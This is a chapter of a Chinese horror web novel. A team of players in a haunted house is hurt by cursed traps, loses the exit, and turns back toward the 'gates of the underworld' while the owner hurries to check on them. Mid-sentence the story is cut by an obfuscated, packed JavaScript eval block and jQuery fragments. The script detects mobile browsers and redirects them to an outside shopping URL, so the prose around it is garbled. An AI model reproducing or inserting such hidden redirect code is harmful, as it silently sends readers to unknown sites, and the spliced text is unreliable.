6. 006

作品:《我有一座惊悚屋

    鬼屋内,杨笑天走在前面。


    他们一进屋,就看到门口矗立的黑白无常。


    “真是鬼屋啊。”


    杨笑天仔细打量着眼前的黑豹无偿,明显是人偶,做工很粗糙。


    脖子的地方有明显磨损痕迹,说不定待会儿头会掉下来。


    队长则绕到黑白无常侧面,观察着底部的机关,也有磨损的痕迹,说明这尊人偶会动。


    果然,下一秒,黑无常身体倾斜,朝着这支队伍迎头砸来。


    队伍里的人表情都很淡定,他们漠然地看着这木偶盛情表演,直到黑无常的身体停住,头“咕噜”一声,从身体上分离。


    杨笑天一下乐了,“还真会掉!”


    他点评道:“要是我八岁的时候,可能会被吓哭吧。”


    可惜,现在他已经二十八岁了。


    不会再被这样幼稚的机关吓到。


    队长道:“继续往前走。”


    一行人往前。


    下一个机关,是狭窄的走廊,每次只允许一个人通过。


    杨笑天走在前面,队长殿后。


    这条路相对有点漫长,中间竟然一个机关也没有。


    杨笑天目光四处乱看,忽然看到墙角有个黑漆漆的东西。


    他好奇心旺盛的跑过去,弯腰一瞅,是个被踩破的老鼠木偶。


    杨笑天笑起来,“我说怎么没有机关呢,原来是机关坏掉了。”


    他伸手就要去拿那个木头老鼠,队伍最后面的队长厉声呵斥,“别动……”


    杨笑天并不放在心上,笑眯眯拿起那木头老鼠,转头跟队长说:“这果然只是个初级副本,没什么吓人的……连机关都是坏……啊!!”


    他话还没说完,手里的老鼠眼睛忽然闪过一道红光,它张开嘴,狠狠咬在杨笑天的大拇指上。


    杨笑天一时没有防备,居然被咬中了!


    顿时,钻心的剧痛从手指上传来。


    那痛觉,像是有人拿着锯子,把他的手臂给锯掉了!!


    他大叫,疯狂甩动手臂。


    老鼠却死死地卡在他的手指上,怎么也不掉下来。


    见状,其他同伴连忙上前,一人握住杨笑天的手腕,一人抓住咬在他手腕上的老鼠,使劲儿往下拽。


    “啊啊啊啊啊!”


    杨笑天的惨叫声更大了,好像他们拽着的,不是他受伤的老鼠,而是他的手臂一样!


    吓得其他人顿时不敢动弹。


    这时,杨笑天一个猛甩手臂,刚才还咬在手指上怎么也不下来的老鼠被甩飞出去。


    队长皱眉看着老鼠掉落的弧度——这看上去不像是杨笑天把它甩掉,像是它主动借着杨笑天甩的力道,自己飞走了。


    杨笑天疼得脸都白了,额头、脸颊上全是汗水,他捧着自己还在剧痛余韵中的手臂,低头看去。


    “靠,我不会手断了吧……”


    结果一看,手臂、手指,都好好的,甚至连被咬的伤口都很小。


    “嘻嘻嘻……”


    “嘿嘿嘿……”


    四面八方忽然传来尖细的笑声,两侧墙壁也跟随尖笑颤动,好像人笑起来时,胸膛震动。


    刚才还因为鬼屋设施简陋而放松警惕的人瞬间紧张起来,他们背靠背凑成一个圈,警惕地看着四周。


    笑声一圈比一圈大,墙壁上,天花板上,地底,四处都有笑声。


    仿佛水中涟漪一样,慢慢散开,又慢慢消失。


    很快,鬼屋再次恢复平静。


    走廊还是那条走廊,只是墙角的黑色老鼠不见了。


    杨笑天剧烈的疼痛也褪去,只剩下手指上一个不足一公分的伤口。


    还在流血,可要是不快点治疗,这伤口恐怕就好了。


    杨笑天的脸色却极其难看,经过刚才那一出,他感觉这个鬼屋在嘲讽他!!


    队长铁着脸来到杨笑天身边,照着他后脑上就是一巴掌,“王晓天,从现在开始,不允许你再摸其他任何东西!”


    其他人拿出纱布,医用消毒液等物品,帮杨笑天清理包扎伤口。


    杨笑天脸色难看地挤出一个笑容,“队长,王晓天到底是谁啊……”


    队长并不能回答他,一行人继续往前走。


    后面的机关也是普普通通,再怎么看,都是正常世界,中等偏下鬼屋的难度。


    可就在这些普通的机关中,时不时隐藏着跟那只木偶老鼠一样的诡异机关,只要被机关打中,就会跟杨笑天一样,陷入无比剧痛的境地。


    这种剧痛,还在不断加码。


    一开始只是觉得好像手臂被拽断。


    到后面从受伤的四肢蔓延到主躯干。


    甚至有人不慎被机关砸中腰部,当场痛得倒在地上,大喊着,“我腰断了,我腰断了。”


    身上明明没有血迹,那人极其痛苦的模样,也让其他人不寒而栗。


    走到鬼屋中间,除了队长,其他人或多或少都受了伤。


    他们满头大汗,深色凝重,再往前走的每一步,都变得小心谨慎。


    好在后半段路,他们并没有再碰到什么机关。


    好不容易,看到了“出口”两个字。


    杨笑天激动起来,指着出口,道:“这边走,我们马上就能出去了!”


    所有人都精神一振。


    唯有队长,依旧板着脸。


    他认为,这个副本,没有那么简单。


    不管是已经清理过的安全区重新出现副本,还是那个过于像人类的女孩,都显得太过诡异。


    这样诡异的鬼屋,能让他们一次性通关吗?


    果然,到了出口,众人发现,那里根本没有门。


    只有一堵黑漆漆的墙,上面用暗红色的颜料,画着一个复杂的图案。


    杨笑天围着那个图案看了半天,“这是什么意思?”


    队长上前,仔细观察。


    这面墙看上去很普通,应该是实心儿的,不算厚,使尽的话,应该能轰开。


    他没贸然动手,而是伸手在墙面上轻轻摸了一下。


    就在手指碰触到墙壁的瞬间,一股直刺骨髓的冷意,涌进他的身体。


    仿佛什么不可直视之物,他猛然打了个寒颤,后撤一步,远离了那墙壁。


    同时,一股朦胧的雾气,从脚底升腾而起,所有人同时感觉空间被扭曲了,墙壁快速后退,化作虚无。


    场景在转瞬之间就变大了,身后,浓重如墨的影子,从头顶笼罩下来。


    杨笑天通关过许多副本,面对过许多或人非人的怪物,他自然知道,这样庞大能笼罩所有人的阴影,一定源自于一个庞然大物。


    现在,这个庞然大物,就在他们身后。


    所有人都毛骨悚然,他们仿佛石雕一样定在原地,不敢回头。


    阵阵凉风,从身后吹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057508|194892||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来。


    这时,不知道哪儿来的一个声音,瓮声瓮气的说:“生门已失,回头是岸。”


    “什么意思?”


    没上过几天学的杨笑天问道。


    队长眉头紧皱,“就是让我们重新走回头路的意思。”


    杨笑天一拍大腿,“对啊,出口没了,我们还可以从入口出去。”


    反正从入口到出口也不远,他们都经历过一次机关,再回去也不难。


    可还不等他说出自己的结论,肩膀就被队长按住。


    队长的声音很沉重,“事情恐怕没有这么简单。”


    眼前的场景,跟刚才,截然不同。


    他们好像从鬼屋,来到了真正的阴曹地府。


    四周环境不知何时变了,一望无际的黑暗笼罩着他们。


    冷凝的雾气沉底,在地面涌动着,仿佛大海,随时都会吞没他们。


    他们面前无路,只有身后来时的路,还若隐若显。


    只是远处,泛着不祥的红光。


    “现在怎么办?”


    几个人都愣住了,望着来时路踌躇不前。


    队长凝重地看着那条路,“你们还记得来时看到的场景吗?”


    杨笑天想了想,说:“开门是黑白无常,走过一条很长通道,有一口大锅,然后是一座桥……”


    他说着说着,停下了。


    这一切,好熟悉。


    杨笑天脸色逐渐凝重,“这是,黄泉路,奈何桥?”


    队长点头,“进来时,这条黄泉路,我们是倒着走的,从鬼门关往人间走,若是回头……”


    岂不是正着,一步步走进鬼门关?


    “不管了,走。”


    不知道谁说了这么一句,他们还是集体掉头,往来时路走去。


    ……


    小楼里,夏茗在窗口等了半天,也没听到鬼屋有任何动静。


    她有点累了。


    早上六点半起床,对她来说还是太超标。


    她回到自己房间,想睡个回笼觉。


    一想到还有一群陌生人在她的鬼屋里,眼睛就闭不上。


    只能拿出手机来刷视频。


    短视频刷着刷着,就被营销号攻陷。


    眼睛也花了,耳朵也聋了。


    短视频害人不浅!


    她泄愤一般扔下手机,头往枕头里一拱。


    忽然想起,还有几个人在鬼屋里呢。


    连忙重新将手机拾起来,划开屏幕一看,距离他们进去,已经过去两个多小时。


    外面还是一点动静都没有。


    夏茗躺不下去了,穿上拖鞋,就往楼下跑。


    刚下一楼,就听到小楼后院传来一声惨叫。


    “啊啊啊————”


    那声音里充满恐惧,仿佛见到了世界上最恐怖的事物。


    夏茗被吓到,步子更快,两三步就出了门。


    她跑到鬼屋门口,那人还在里头尖叫。


    夏茗顾不上那么多,连忙掀开不透光的门帘,进了鬼屋。


    门口的黑无常敬职敬责地歪到身体,掉头,露出血肉模糊的横截面。


    已经被吓过一次,满心都是里面人安危的夏茗完全免疫,她一矮身,就看到不远处地面上仿佛一条虫子一样蛄蛹着的黑色背心男人。


    一边蛄蛹,还一边惊恐地大叫着,“我的手!!我的手!我的头!我的头!”